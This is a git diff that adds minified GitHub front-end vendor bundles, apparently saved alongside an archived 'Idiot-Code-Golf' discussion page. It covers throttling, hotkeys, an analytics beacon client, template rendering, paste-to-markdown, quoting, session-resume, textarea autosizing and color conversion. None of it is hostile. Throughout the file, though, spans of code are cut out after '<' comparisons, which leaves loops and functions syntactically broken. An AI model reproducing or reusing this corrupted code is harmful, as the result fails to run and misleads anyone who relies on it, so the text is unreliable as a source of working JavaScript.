Ta180m_Idiot-Code-Golf_files/vendors-node_modules_github_mini-throttle_dist_index_js-node_.js new file mode 100644 index 0000000..4e18cc6 --- /dev/null +++ b/archive/Problem 9 Fast Exponentiation · Discussion #10 · Ta180m_Idiot-Code-Golf_files/vendors-node_modules_github_mini-throttle_dist_index_js-node_.js @@ -0,0 +1,3 @@ +"use strict";(()=>{var D=Object.defineProperty;var c=(x,C)=>D(x,"name",{value:C,configurable:!0});(globalThis.webpackChunk=globalThis.webpackChunk||[]).push([["vendors-node_modules_github_mini-throttle_dist_index_js-node_modules_github_hotkey_dist_index-9f48bd"],{46263:(x,C,N)=>{N.d(C,{D:()=>b,P:()=>p});function p(_,m=0,{start:y=!0,middle:u=!0,once:w=!1}={}){let h=0,l,f=!1;function v(...k){if(f)return;const T=Date.now()-h;h=Date.now(),y?(y=!1,_.apply(this,k),w&&v.cancel()):(u&&T{h=Date.now(),_.apply(this,k),w&&v.cancel()},u?m-T:m))}return c(v,"fn"),v.cancel=()=>{clearTimeout(l),f=!0},v}c(p,"throttle");function b(_,m=0,{start:y=!1,middle:u=!1,once:w=!1}={}){return p(_,m,{start:y,middle:u,once:w})}c(b,"debounce")},11793:(x,C,N)=>{N.d(C,{EL:()=>u,N9:()=>W,Tz:()=>S});class p{constructor(o){this.children=[],this.parent=o}delete(o){const r=this.children.indexOf(o);return r===-1?!1:(this.children=this.children.slice(0,r).concat(this.children.slice(r+1)),this.children.length===0&&this.parent.delete(this),!0)}add(o){return this.children.push(o),this}}c(p,"Leaf");class b{constructor(o){this.parent=null,this.children={},this.parent=o||null}get(o){return this.children[o]}insert(o){let r=this;for(let g=0;gd.filter(n=>n!=="")).filter(d=>d.length>0)}c(y,"expandHotkeyToEdges");function u(a){const{ctrlKey:o,altKey:r,metaKey:g,key:d}=a,n=[],e=[o,r,g,h(a)];for(const[t,i]of e.entries())i&&n.push(w[t]);return w.includes(d)||n.push(d),n.join("+")}c(u,"hotkey");const w=["Control","Alt","Meta","Shift"];function h(a){const{shiftKey:o,code:r,key:g}=a;return o&&!(r.startsWith("Key")&&g.toUpperCase()===g)}c(h,"showShift");const l=new b,f=new WeakMap;let v=l,k=null,T=[];function P(){T=[],k=null,v=l}c(P,"resetTriePosition");function I(a){if(a.defaultPrevented||!(a.target instanceof Node))return;if(_(a.target)){const r=a.target;if(!r.id||!r.ownerDocument.querySelector(`[data-hotkey-scope="${r.id}"]`))return}k!=null&&window.clearTimeout(k),k=window.setTimeout(P,1500);const o=v.get(u(a));if(!o){P();return}if(T.push(u(a)),v=o,o instanceof p){const r=a.target;let g=!1,d;const n=_(r);for(let e=o.children.length-1;e>=0;e-=1){d=o.children[e];const t=d.getAttribute("data-hotkey-scope");if(!n&&!t||n&&r.id===t){g=!0;break}}d&&g&&(m(d,T),a.preventDefault()),P()}}c(I,"keyDownHandler");function W(a,o){Object.keys(l.children).length===0&&document.addEventListener("keydown",I);const g=y(o||a.getAttribute("data-hotkey")||"").map(d=>l.insert(d).add(a));f.set(a,g)}c(W,"install");function S(a){const o=f.get(a);if(o&&o.length)for(const r of o)r&&r.delete(a);Object.keys(l.children).length===0&&document.removeEventListener("keydown",I)}c(S,"uninstall")},86058:(x,C,N)=>{N.d(C,{R:()=>w});function p(){let h;try{h=window.top.document.referrer}catch{if(window.parent)try{h=window.parent.document.referrer}catch{}}return h===""&&(h=document.referrer),h}c(p,"getReferrer");function b(){try{return`${screen.width}x${screen.height}`}catch{return"unknown"}}c(b,"getScreenResolution");function _(){let h=0,l=0;try{return typeof window.innerWidth=="number"?(l=window.innerWidth,h=window.innerHeight):document.documentElement!=null&&document.documentElement.clientWidth!=null?(l=document.documentElement.clientWidth,h=document.documentElement.clientHeight):document.body!=null&&document.body.clientWidth!=null&&(l=document.body.clientWidth,h=document.body.clientHeight),`${l}x${h}`}catch{return"unknown"}}c(_,"getBrowserResolution");function m(){return navigator.languages?navigator.languages.join(","):navigator.language||""}c(m,"getBrowserLanguages");function y(){return{referrer:p(),user_agent:navigator.userAgent,screen_resolution:b(),browser_resolution:_(),browser_languages:m(),pixel_ratio:window.devicePixelRatio,timestamp:Date.now(),tz_seconds:new Date().getTimezoneOffset()*-60}}c(y,"getRequestContext");var u=N(82918);class w{constructor(l){this.options=l}get collectorUrl(){return this.options.collectorUrl}get clientId(){return this.options.clientId?this.options.clientId:(0,u.b)()}createEvent(l){return{page:location.href,title:document.title,context:{...this.options.baseContext,...l}}}sendPageView(l){const f=this.createEvent(l);this.send({page_views:[f]})}sendEvent(l,f){const v={...this.createEvent(f),type:l};this.send({events:[v]})}send({page_views:l,events:f}){const v={client_id:this.clientId,page_views:l,events:f,request_context:y()},k=JSON.stringify(v);try{if(navigator.sendBeacon){navigator.sendBeacon(this.collectorUrl,k);return}}catch{}fetch(this.collectorUrl,{method:"POST",cache:"no-cache",headers:{"Content-Type":"application/json"},body:k,keepalive:!1})}}c(w,"AnalyticsClient")},82918:(x,C,N)=>{N.d(C,{b:()=>y});let p;function b(){return`${Math.round(Math.random()*(Math.pow(2,31)-1))}.${Math.round(Date.now()/1e3)}`}c(b,"generateClientId");function _(u){const w=`GH1.1.${u}`,h=Date.now(),l=new Date(h+1*365*86400*1e3).toUTCString();let{domain:f}=document;f.endsWith(".github.com")&&(f="github.com"),document.cookie=`_octo=${w}; expires=${l}; path=/; domain=${f}; secure; samesite=lax`}c(_,"setClientIdCookie");function m(){let u;const h=document.cookie.match(/_octo=([^;]+)/g);if(!h)return;let l=[0,0];for(const f of h){const[,v]=f.split("="),[,k,...T]=v.split("."),P=k.split("-").map(Number);P>l&&(l=P,u=T.join("."))}return u}c(m,"getClientIdFromCookie");function y(){try{const u=m();if(u)return u;const w=b();return _(w),w}catch{return p||(p=b()),p}}c(y,"getOrCreateClientId")},88149:(x,C,N)=>{N.d(C,{n:()=>p});function p(b="ha"){let _;const m={},y=document.head.querySelectorAll(`meta[name^="${b}-"]`);for(const u of Array.from(y)){const{name:w,content:h}=u,l=w.replace(`${b}-`,"").replace(/-/g,"_");l==="url"?_=h:m[l]=h}if(!_)throw new Error(`AnalyticsClient ${b}-url meta tag not found`);return{collectorUrl:_,...Object.keys(m).length>0?{baseContext:m}:{}}}c(p,"getOptionsFromMeta")},38772:(x,C,N)=>{N.d(C,{dy:()=>o,sY:()=>r,Au:()=>n});var p=N(69567);const b=new WeakSet;function _(e){return b.has(e)}c(_,"isDirective");function m(e,t){return _(t)?(t(e),!0):!1}c(m,"processDirective");function y(e){return(...t)=>{const i=e(...t);return b.add(i),i}}c(y,"directive");const u=new WeakMap;class w{constructor(t,i){this.element=t,this.type=i,this.element.addEventListener(this.type,this),u.get(this.element).set(this.type,this)}set(t){typeof t=="function"?this.handleEvent=t.bind(this.element):typeof t=="object"&&typeof t.handleEvent=="function"?this.handleEvent=t.handleEvent.bind(t):(this.element.removeEventListener(this.type,this),u.get(this.element).delete(this.type))}static for(t){u.has(t.element)||u.set(t.element,new Map);const i=t.attributeName.slice(2),s=u.get(t.element);return s.has(i)?s.get(i):new w(t.element,i)}}c(w,"EventHandler");function h(e,t){return e instanceof p.sV&&e.attributeName.startsWith("on")?(w.for(e).set(t),e.element.removeAttributeNS(e.attributeNamespace,e.attributeName),!0):!1}c(h,"processEvent");function l(e,t){return t instanceof S&&e instanceof p.GZ?(t.renderInto(e),!0):!1}c(l,"processSubTemplate");function f(e,t){return t instanceof DocumentFragment&&e instanceof p.GZ?(t.childNodes.length&&e.replace(...t.childNodes),!0):!1}c(f,"processDocumentFragment");function v(e){return typeof e=="object"&&Symbol.iterator in e}c(v,"isIterable");function k(e,t){if(!v(t))return!1;if(e instanceof p.GZ){const i=[];for(const s of t)if(s instanceof S){const E=document.createDocumentFragment();s.renderInto(E),i.push(...E.childNodes)}else s instanceof DocumentFragment?i.push(...s.childNodes):i.push(String(s));return i.length&&e.replace(...i),!0}else return e.value=Array.from(t).join(" "),!0}c(k,"processIterable");function T(e,t){m(e,t)||(0,p.W_)(e,t)||h(e,t)||l(e,t)||f(e,t)||k(e,t)||(0,p.Al)(e,t)}c(T,"processPart");const P=new WeakMap,I=new WeakMap,W=new WeakMap;class S{constructor(t,i,s){this.strings=t,this.values=i,this.processor=s}get template(){if(P.has(this.strings))return P.get(this.strings);{const t=document.createElement("template"),i=this.strings.length-1;return t.innerHTML=this.strings.reduce((s,E,F)=>s+E+(Ft=>{g.has(t)||g.set(t,{i:e.length});const i=g.get(t);for(let s=0;s{st=>{if(!(t instanceof p.GZ))return;const i=document.createElement("template");i.innerHTML=e;const s=document.importNode(i.content,!0);t.replace(...s.childNodes)})},69567:(x,C,N)=>{N.d(C,{sV:()=>u,GZ:()=>v,R:()=>d,AQ:()=>k,W_:()=>P,Al:()=>T,XK:()=>W});function*p(n){let e="",t=0,i=!1;for(let s=0;stypeof i=="string"?i:i.value).join("");this.element.setAttributeNS(this.attr.namespaceURI,this.attr.name,t)}}}c(w,"AttributeValueSetter");var h=function(n,e,t){if(!e.has(n))throw new TypeError("attempted to set private field on non-instance");return e.set(n,t),t},l=function(n,e){if(!e.has(n))throw new TypeError("attempted to get private field on non-instance");return e.get(n)},f;class v{constructor(e,t){this.expression=t,f.set(this,void 0),h(this,f,[e]),e.textContent=""}get value(){return l(this,f).map(e=>e.textContent).join("")}set value(e){this.replace(e)}get previousSibling(){return l(this,f)[0].previousSibling}get nextSibling(){return l(this,f)[l(this,f).length-1].nextSibling}replace(...e){const t=e.map(i=>typeof i=="string"?new Text(i):i);t.length||t.push(new Text("")),l(this,f)[0].before(...t);for(const i of l(this,f))i.remove();h(this,f,t)}}c(v,"NodeTemplatePart"),f=new WeakMap;function k(n){return{createCallback(e,t,i){this.processCallback(e,t,i)},processCallback(e,t,i){var s;if(!(typeof i!="object"||!i)){for(const E of t)if(E.expression in i){const F=(s=i[E.expression])!==null&&s!==void 0?s:"";n(E,F)}}}}}c(k,"createProcessor");function T(n,e){n.value=String(e)}c(T,"processPropertyIdentity");function P(n,e){return typeof e=="boolean"&&n instanceof u&&typeof n.element[n.attributeName]=="boolean"?(n.booleanValue=e,!0):!1}c(P,"processBooleanAttribute");const I=k(T),W=k((n,e)=>{P(n,e)||T(n,e)});var S=function(n,e,t){if(!e.has(n))throw new TypeError("attempted to set private field on non-instance");return e.set(n,t),t},a=function(n,e){if(!e.has(n))throw new TypeError("attempted to get private field on non-instance");return e.get(n)},o,r;function*g(n){const e=n.ownerDocument.createTreeWalker(n,NodeFilter.SHOW_TEXT|NodeFilter.SHOW_ELEMENT,null,!1);let t;for(;t=e.nextNode();)if(t instanceof Element&&t.hasAttributes())for(let i=0;i{var he=Object.defineProperty;var i=(N,M)=>he(N,"name",{value:M,configurable:!0});(globalThis.webpackChunk=globalThis.webpackChunk||[]).push([["vendors-node_modules_github_paste-markdown_dist_index_esm_js-node_modules_github_quote-select-df2537"],{52769:(N,M,E)=>{"use strict";E.d(M,{Ld:()=>oe});function b(f,y){var k,C,O;const q=f.value.slice(0,(k=f.selectionStart)!==null&&k!==void 0?k:void 0),Y=f.value.slice((C=f.selectionEnd)!==null&&C!==void 0?C:void 0);let J=!0;f.contentEditable="true";try{J=document.execCommand("insertText",!1,y)}catch{J=!1}if(f.contentEditable="false",J&&!f.value.slice(0,(O=f.selectionStart)!==null&&O!==void 0?O:void 0).endsWith(y)&&(J=!1),!J){try{document.execCommand("ms-beginUndoUnit")}catch{}f.value=q+y+Y;try{document.execCommand("ms-endUndoUnit")}catch{}f.dispatchEvent(new CustomEvent("change",{bubbles:!0,cancelable:!0}))}}i(b,"insertText");const _=new WeakMap;function h(f){const{currentTarget:y}=f,k=f.code==="KeyV"&&(f.ctrlKey||f.metaKey)&&f.shiftKey;(k||k&&f.altKey)&&_.set(y,!0)}i(h,"setSkipFormattingFlag");function v(f){const{currentTarget:y}=f;_.delete(y)}i(v,"unsetSkipFormattedFlag");function e(f){var y;return(y=_.get(f))!==null&&y!==void 0?y:!1}i(e,"shouldSkipFormatting");function o(f,...y){f.addEventListener("keydown",h);for(const k of y)k(f);f.addEventListener("paste",v)}i(o,"installAround");function t(f){f.removeEventListener("keydown",h),f.removeEventListener("paste",v)}i(t,"uninstall$5");function n(f){f.addEventListener("paste",l)}i(n,"install$4");function r(f){f.removeEventListener("paste",l)}i(r,"uninstall$4");function l(f){const y=f.clipboardData,{currentTarget:k}=f;if(e(k)||!y||!c(y))return;const C=f.currentTarget;if(!(C instanceof HTMLTextAreaElement))return;let O=y.getData("text/plain");const q=y.getData("text/html"),Y=q.replace(/\u00A0/g," ").replace(/\uC2A0/g," ");if(!q||(O=O.trim(),!O))return;const Z=new DOMParser().parseFromString(Y,"text/html"),Q=Z.createTreeWalker(Z.body,NodeFilter.SHOW_ELEMENT,fe=>fe.parentNode&&s(fe.parentNode)?NodeFilter.FILTER_REJECT:NodeFilter.FILTER_ACCEPT),se=u(O,Q);se!==O&&(f.stopPropagation(),f.preventDefault(),b(C,se))}i(l,"onPaste$4");function u(f,y){var k;let C=y.firstChild(),O=f,q=0,Y=0;const J=1e4;for(;C&&Y=0)if(s(C)){const se=m(C,Z);O=O.slice(0,Q)+se+O.slice(Q+Z.length),q=Q+se.length}else q=Q+Z.length;C=y.nextNode()}return Y===J?f:O}i(u,"convertToMarkdown");function a(f){return!f||(f==null?void 0:f.trim().length)===0}i(a,"isEmptyString");function s(f){var y;return((y=f.tagName)===null||y===void 0?void 0:y.toLowerCase())==="a"&&f.hasAttribute("href")}i(s,"isLink");function c(f){return f.types.includes("text/html")}i(c,"hasHTML");function m(f,y){const k=f.href||"";let C="";return g(f)?C=y:d(f)||p(k,y)?C=k:C=`[${y}](${k})`,C}i(m,"linkify$2");function d(f){return f.className.indexOf("commit-link")>=0||!!f.getAttribute("data-hovercard-type")&&f.getAttribute("data-hovercard-type")!=="user"}i(d,"isSpecialLink");function p(f,y){return f=f.slice(-1)==="/"?f.slice(0,-1):f,y=y.slice(-1)==="/"?y.slice(0,-1):y,f.toLowerCase()===y.toLowerCase()}i(p,"areEqualLinks");function g(f){var y;return((y=f.textContent)===null||y===void 0?void 0:y.slice(0,1))==="@"&&f.getAttribute("data-hovercard-type")==="user"}i(g,"isUserMention");function w(f){f.addEventListener("dragover",$),f.addEventListener("drop",I),f.addEventListener("paste",z)}i(w,"install$3");function x(f){f.removeEventListener("dragover",$),f.removeEventListener("drop",I),f.removeEventListener("paste",z)}i(x,"uninstall$3");function I(f){const y=f.dataTransfer;if(!y||ee(y)||!te(y))return;const k=ne(y);if(!k.some(T))return;f.stopPropagation(),f.preventDefault();const C=f.currentTarget;C instanceof HTMLTextAreaElement&&b(C,k.map(X).join(""))}i(I,"onDrop$1");function $(f){const y=f.dataTransfer;y&&(y.dropEffect="link")}i($,"onDragover$1");function z(f){const{currentTarget:y}=f;if(e(y))return;const k=f.clipboardData;if(!k||!te(k))return;const C=ne(k);if(!C.some(T))return;f.stopPropagation(),f.preventDefault();const O=f.currentTarget;O instanceof HTMLTextAreaElement&&b(O,C.map(X).join(""))}i(z,"onPaste$3");function X(f){return T(f)?` +![](${f}) +`:f}i(X,"linkify$1");function ee(f){return Array.from(f.types).indexOf("Files")>=0}i(ee,"hasFile$1");function te(f){return Array.from(f.types).indexOf("text/uri-list")>=0}i(te,"hasLink");function ne(f){return(f.getData("text/uri-list")||"").split(`\r +`)}i(ne,"extractLinks");const P=/\.(gif|png|jpe?g)$/i;function T(f){return P.test(f)}i(T,"isImageLink");function A(f){f.addEventListener("paste",S)}i(A,"install$2");function R(f){f.removeEventListener("paste",S)}i(R,"uninstall$2");function S(f){const{currentTarget:y}=f;if(e(y))return;const k=f.clipboardData;if(!k||!F(k))return;const C=f.currentTarget;if(!(C instanceof HTMLTextAreaElement))return;const O=k.getData("text/plain");if(!O||!H(O)||D(C))return;const q=C.value.substring(C.selectionStart,C.selectionEnd);!q.length||H(q.trim())||(f.stopPropagation(),f.preventDefault(),b(C,U(q,O)))}i(S,"onPaste$2");function F(f){return Array.from(f.types).includes("text/plain")}i(F,"hasPlainText");function D(f){const y=f.selectionStart||0;return y>1?f.value.substring(y-2,y)==="](":!1}i(D,"isWithinLink");function U(f,y){return`[${f}](${y})`}i(U,"linkify");function H(f){return/^https?:\/\//i.test(f)}i(H,"isURL");function B(f){f.addEventListener("dragover",ce),f.addEventListener("drop",G),f.addEventListener("paste",ie)}i(B,"install$1");function re(f){f.removeEventListener("dragover",ce),f.removeEventListener("drop",G),f.removeEventListener("paste",ie)}i(re,"uninstall$1");function G(f){const y=f.dataTransfer;if(!y||le(y))return;const k=L(y);if(!k)return;f.stopPropagation(),f.preventDefault();const C=f.currentTarget;C instanceof HTMLTextAreaElement&&b(C,k)}i(G,"onDrop");function ce(f){const y=f.dataTransfer;y&&(y.dropEffect="copy")}i(ce,"onDragover");function ie(f){const{currentTarget:y}=f;if(e(y)||!f.clipboardData)return;const k=L(f.clipboardData);if(!k)return;f.stopPropagation(),f.preventDefault();const C=f.currentTarget;C instanceof HTMLTextAreaElement&&b(C,k)}i(ie,"onPaste$1");function le(f){return Array.from(f.types).indexOf("Files")>=0}i(le,"hasFile");function ae(f){const y="\xA0";return(f.textContent||"").trim().replace(/\|/g,"\\|").replace(/\n/g," ")||y}i(ae,"columnText");function de(f){return Array.from(f.querySelectorAll("td, th")).map(ae)}i(de,"tableHeaders");function ue(f){const y=Array.from(f.querySelectorAll("tr")),k=y.shift();if(!k)return"";const C=de(k),O=C.map(()=>"--"),q=`${C.join(" | ")} +${O.join(" | ")} +`,Y=y.map(J=>Array.from(J.querySelectorAll("td")).map(ae).join(" | ")).join(` +`);return` +${q}${Y} + +`}i(ue,"tableMarkdown");function L(f){if(Array.from(f.types).indexOf("text/html")===-1)return;const y=f.getData("text/html");if(!//,"").replace(//,` +${q}`)}i(L,"generateText");function j(f){f.addEventListener("paste",K)}i(j,"install");function W(f){f.removeEventListener("paste",K)}i(W,"uninstall");function K(f){const{currentTarget:y}=f;if(e(y))return;const k=f.clipboardData;if(!k||!V(k))return;const C=f.currentTarget;if(!(C instanceof HTMLTextAreaElement))return;const O=k.getData("text/x-gfm");!O||(f.stopPropagation(),f.preventDefault(),b(C,O))}i(K,"onPaste");function V(f){return Array.from(f.types).indexOf("text/x-gfm")>=0}i(V,"hasMarkdown");function oe(f){return o(f,B,w,A,j,n),{unsubscribe:()=>{t(f),re(f),r(f),x(f),R(f),W(f)}}}i(oe,"subscribe")},55498:(N,M,E)=>{"use strict";E.d(M,{I:()=>a,p:()=>u});function b(s){const c=s.parentNode;if(c===null||!(c instanceof HTMLElement))throw new Error;let m=0;c instanceof HTMLOListElement&&c.start!==1&&(m=c.start-1);const d=c.children;for(let p=0;p/g,">")}i(t,"escapeAttribute");const n={INPUT(s){return s instanceof HTMLInputElement&&s.checked?"[x] ":"[ ] "},CODE(s){const c=s.textContent||"";return s.parentNode&&s.parentNode.nodeName==="PRE"?(s.textContent=`\`\`\` +${c.replace(/\n+$/,"")} +\`\`\` + +`,s):c.indexOf("`")>=0?`\`\` ${c} \`\``:`\`${c}\``},P(s){const c=document.createElement("p"),m=s.textContent||"";return c.textContent=m.replace(/<(\/?)(pre|strong|weak|em)>/g,"\\<$1$2\\>"),c},STRONG(s){return`**${s.textContent||""}**`},EM(s){return`_${s.textContent||""}_`},DEL(s){return`~${s.textContent||""}~`},BLOCKQUOTE(s){const c=(s.textContent||"").trim().replace(/^/gm,"> "),m=document.createElement("pre");return m.textContent=`${c} + +`,m},A(s){const c=s.textContent||"",m=s.getAttribute("href");return/^https?:/.test(c)&&c===m?c:m?`[${c}](${m})`:c},IMG(s){const c=s.getAttribute("alt")||"",m=s.getAttribute("src");if(!m)throw new Error;const d=s.hasAttribute("width")?` width="${t(s.getAttribute("width")||"")}"`:"",p=s.hasAttribute("height")?` height="${t(s.getAttribute("height")||"")}"`:"";return d||p?`${t(c)}`:`![${c}](${m})`},LI(s){const c=s.parentNode;if(!c)throw new Error;let m="";o(s)||(c.nodeName==="OL"?e>0&&!c.previousSibling?m=`${b(s)+e+1}\\. `:m=`${b(s)+1}. `:m="* ");const d=m.replace(/\S/g," "),p=(s.textContent||"").trim().replace(/^/gm,d),g=document.createElement("pre");return g.textContent=p.replace(d,m),g},OL(s){const c=document.createElement("li");return c.appendChild(document.createElement("br")),s.append(c),s},H1(s){const c=parseInt(s.nodeName.slice(1));return s.prepend(`${Array(c+1).join("#")} `),s},UL(s){return s}};n.UL=n.OL;for(let s=2;s<=6;++s)n[`H${s}`]=n.H1;function r(s){const c=document.createNodeIterator(s,NodeFilter.SHOW_ELEMENT,{acceptNode(p){return p.nodeName in n&&!_(p)&&(h(p)||v(p))?NodeFilter.FILTER_ACCEPT:NodeFilter.FILTER_SKIP}}),m=[];let d=c.nextNode();for(;d;)d instanceof HTMLElement&&m.push(d),d=c.nextNode();m.reverse();for(const p of m)p.replaceWith(n[p.nodeName](p))}i(r,"insertMarkdownSyntax");function l(s,c){const m=s.startContainer;if(!m||!m.parentNode||!(m.parentNode instanceof HTMLElement))throw new Error("the range must start within an HTMLElement");const d=m.parentNode;let p=s.cloneContents();if(c){const x=p.querySelector(c);x&&(p=document.createDocumentFragment(),p.appendChild(x))}e=0;const g=d.closest("li");if(d.closest("pre")){const x=document.createElement("pre");x.appendChild(p),p=document.createDocumentFragment(),p.appendChild(x)}else if(g&&g.parentNode&&(g.parentNode.nodeName==="OL"&&(e=b(g)),!p.querySelector("li"))){const x=document.createElement("li");if(!g.parentNode)throw new Error;const I=document.createElement(g.parentNode.nodeName);x.appendChild(p),I.appendChild(x),p=document.createDocumentFragment(),p.appendChild(I)}return p}i(l,"extractFragment");class u{constructor(){this.selection=window.getSelection()}closest(c){const m=this.range.startContainer,d=m instanceof Element?m:m.parentElement;return d?d.closest(c):null}get active(){var c;return(((c=this.selection)===null||c===void 0?void 0:c.rangeCount)||0)>0}get range(){var c;return((c=this.selection)===null||c===void 0?void 0:c.rangeCount)?this.selection.getRangeAt(0):new Range}set range(c){var m,d;(m=this.selection)===null||m===void 0||m.removeAllRanges(),(d=this.selection)===null||d===void 0||d.addRange(c)}get selectionText(){var c;return((c=this.selection)===null||c===void 0?void 0:c.toString().trim())||""}get quotedText(){return`> ${this.selectionText.replace(/\n/g,` +> `)} + +`}select(c){this.selection&&(this.selection.removeAllRanges(),this.selection.selectAllChildren(c))}insert(c){c.value?c.value=`${c.value} + +${this.quotedText}`:c.value=this.quotedText,c.dispatchEvent(new CustomEvent("change",{bubbles:!0,cancelable:!1})),c.focus(),c.selectionStart=c.value.length,c.scrollTop=c.scrollHeight}}i(u,"Quote");class a extends u{constructor(c="",m){super();this.scopeSelector=c,this.callback=m}get selectionText(){var c,m;if(!this.selection)return"";const d=l(this.range,(c=this.scopeSelector)!==null&&c!==void 0?c:"");(m=this.callback)===null||m===void 0||m.call(this,d),r(d);const p=document.body;if(!p)return"";const g=document.createElement("div");g.appendChild(d),g.style.cssText="position:absolute;left:-9999px;",p.appendChild(g);let w="";try{const x=document.createRange();x.selectNodeContents(g),this.selection.removeAllRanges(),this.selection.addRange(x),w=this.selection.toString(),this.selection.removeAllRanges(),x.detach()}finally{p.removeChild(g)}return w.trim()}}i(a,"MarkdownQuote")},407:(N,M,E)=>{"use strict";E.d(M,{Xm:()=>h,e6:()=>v,iO:()=>e});let b=null;function _(o){return!!o.id&&o.value!==o.defaultValue&&o.form!==b}i(_,"shouldResumeField");function h(o,t){var n,r;const l=(n=t==null?void 0:t.selector)!==null&&n!==void 0?n:".js-session-resumable",a=`${(r=t==null?void 0:t.keyPrefix)!==null&&r!==void 0?r:"session-resume:"}${o}`,s=[];for(const m of document.querySelectorAll(l))(m instanceof HTMLInputElement||m instanceof HTMLTextAreaElement)&&s.push(m);let c=s.filter(m=>_(m)).map(m=>[m.id,m.value]);if(c.length)try{const m=sessionStorage.getItem(a);if(m!==null){const p=JSON.parse(m).filter(function(g){return!c.some(w=>w[0]===g[0])});c=c.concat(p)}sessionStorage.setItem(a,JSON.stringify(c))}catch{}}i(h,"persistResumableFields");function v(o,t){var n;const l=`${(n=t==null?void 0:t.keyPrefix)!==null&&n!==void 0?n:"session-resume:"}${o}`;let u;try{u=sessionStorage.getItem(l)}catch{}if(!u)return;const a=[],s=[];for(const[c,m]of JSON.parse(u)){const d=new CustomEvent("session:resume",{bubbles:!0,cancelable:!0,detail:{targetId:c,targetValue:m}});if(document.dispatchEvent(d)){const p=document.getElementById(c);p&&(p instanceof HTMLInputElement||p instanceof HTMLTextAreaElement)?p.value===p.defaultValue&&(p.value=m,a.push(p)):s.push([c,m])}}if(s.length===0)try{sessionStorage.removeItem(l)}catch{}else sessionStorage.setItem(l,JSON.stringify(s));setTimeout(function(){for(const c of a)c.dispatchEvent(new CustomEvent("change",{bubbles:!0,cancelable:!0}))},0)}i(v,"restoreResumableFields");function e(o){b=o.target,setTimeout(function(){o.defaultPrevented&&(b=null)},0)}i(e,"setForm")},54430:(N,M,E)=>{"use strict";E.d(M,{Z:()=>_});function b(h){var v=null,e=!1,o=void 0,t=void 0,n=void 0;function r(d){if(o!==d.clientX||t!==d.clientY){var p=h.style.height;n&&n!==p&&(e=!0,h.style.maxHeight="",h.removeEventListener("mousemove",r)),n=p}o=d.clientX,t=d.clientY}i(r,"onUserResize");var l=h.ownerDocument,u=l.documentElement;function a(){for(var d=0,p=h;p!==l.body&&p!==null;)d+=p.offsetTop||0,p=p.offsetParent;var g=d-l.defaultView.pageYOffset,w=u.clientHeight-(g+h.offsetHeight);return{top:g,bottom:w}}i(a,"overflowOffset");function s(){if(!e&&h.value!==v&&!(h.offsetWidth<=0&&h.offsetHeight<=0)){var d=a(),p=d.top,g=d.bottom;if(!(p<0||g<0)){var w=Number(getComputedStyle(h).height.replace(/px/,""))+g;h.style.maxHeight=w-100+"px";var x=h.parentElement;if(x instanceof HTMLElement){var I=x.style.height;x.style.height=getComputedStyle(x).height,h.style.height="auto",h.style.height=h.scrollHeight+"px",x.style.height=I,n=h.style.height}v=h.value}}}i(s,"sizeToFit");function c(){e=!1,h.style.height="",h.style.maxHeight=""}i(c,"onFormReset"),h.addEventListener("mousemove",r),h.addEventListener("input",s),h.addEventListener("change",s);var m=h.form;return m&&m.addEventListener("reset",c),h.value&&s(),{unsubscribe:i(function(){h.removeEventListener("mousemove",r),h.removeEventListener("input",s),h.removeEventListener("change",s),m&&m.removeEventListener("reset",c)},"unsubscribe")}}i(b,"autosize");const _=b},48168:(N,M,E)=>{const b=E(39092),_={};for(const e of Object.keys(b))_[b[e]]=e;const h={rgb:{channels:3,labels:"rgb"},hsl:{channels:3,labels:"hsl"},hsv:{channels:3,labels:"hsv"},hwb:{channels:3,labels:"hwb"},cmyk:{channels:4,labels:"cmyk"},xyz:{channels:3,labels:"xyz"},lab:{channels:3,labels:"lab"},lch:{channels:3,labels:"lch"},hex:{channels:1,labels:["hex"]},keyword:{channels:1,labels:["keyword"]},ansi16:{channels:1,labels:["ansi16"]},ansi256:{channels:1,labels:["ansi256"]},hcg:{channels:3,labels:["h","c","g"]},apple:{channels:3,labels:["r16","g16","b16"]},gray:{channels:1,labels:["gray"]}};N.exports=h;for(const e of Object.keys(h)){if(!("channels"in h[e]))throw new Error("missing channels property: "+e);if(!("labels"in h[e]))throw new Error("missing channel labels property: "+e);if(h[e].labels.length!==h[e].channels)throw new Error("channel and label counts mismatch: "+e);const{channels:o,labels:t}=h[e];delete h[e].channels,delete h[e].labels,Object.defineProperty(h[e],"channels",{value:o}),Object.defineProperty(h[e],"labels",{value:t})}h.rgb.hsl=function(e){const o=e[0]/255,t=e[1]/255,n=e[2]/255,r=Math.min(o,t,n),l=Math.max(o,t,n),u=l-r;let a,s;l===r?a=0:o===l?a=(t-n)/u:t===l?a=2+(n-o)/u:n===l&&(a=4+(o-t)/u),a=Math.min(a*60,360),a<0&&(a+=360);const c=(r+l)/2;return l===r?s=0:c<=.5?s=u/(l+r):s=u/(2-l-r),[a,s*100,c*100]},h.rgb.hsv=function(e){let o,t,n,r,l;const u=e[0]/255,a=e[1]/255,s=e[2]/255,c=Math.max(u,a,s),m=c-Math.min(u,a,s),d=i(function(p){return(c-p)/6/m+1/2},"diffc");return m===0?(r=0,l=0):(l=m/c,o=d(u),t=d(a),n=d(s),u===c?r=n-t:a===c?r=1/3+o-n:s===c&&(r=2/3+t-o),r<0?r+=1:r>1&&(r-=1)),[r*360,l*100,c*100]},h.rgb.hwb=function(e){const o=e[0],t=e[1];let n=e[2];const r=h.rgb.hsl(e)[0],l=1/255*Math.min(o,Math.min(t,n));return n=1-1/255*Math.max(o,Math.max(t,n)),[r,l*100,n*100]},h.rgb.cmyk=function(e){const o=e[0]/255,t=e[1]/255,n=e[2]/255,r=Math.min(1-o,1-t,1-n),l=(1-o-r)/(1-r)||0,u=(1-t-r)/(1-r)||0,a=(1-n-r)/(1-r)||0;return[l*100,u*100,a*100,r*100]};function v(e,o){return(e[0]-o[0])**2+(e[1]-o[1])**2+(e[2]-o[2])**2}i(v,"comparativeDistance"),h.rgb.keyword=function(e){const o=_[e];if(o)return o;let t=1/0,n;for(const r of Object.keys(b)){const l=b[r],u=v(e,l);u.04045?((o+.055)/1.055)**2.4:o/12.92,t=t>.04045?((t+.055)/1.055)**2.4:t/12.92,n=n>.04045?((n+.055)/1.055)**2.4:n/12.92;const r=o*.4124+t*.3576+n*.1805,l=o*.2126+t*.7152+n*.0722,u=o*.0193+t*.1192+n*.9505;return[r*100,l*100,u*100]},h.rgb.lab=function(e){const o=h.rgb.xyz(e);let t=o[0],n=o[1],r=o[2];t/=95.047,n/=100,r/=108.883,t=t>.008856?t**(1/3):7.787*t+16/116,n=n>.008856?n**(1/3):7.787*n+16/116,r=r>.008856?r**(1/3):7.787*r+16/116;const 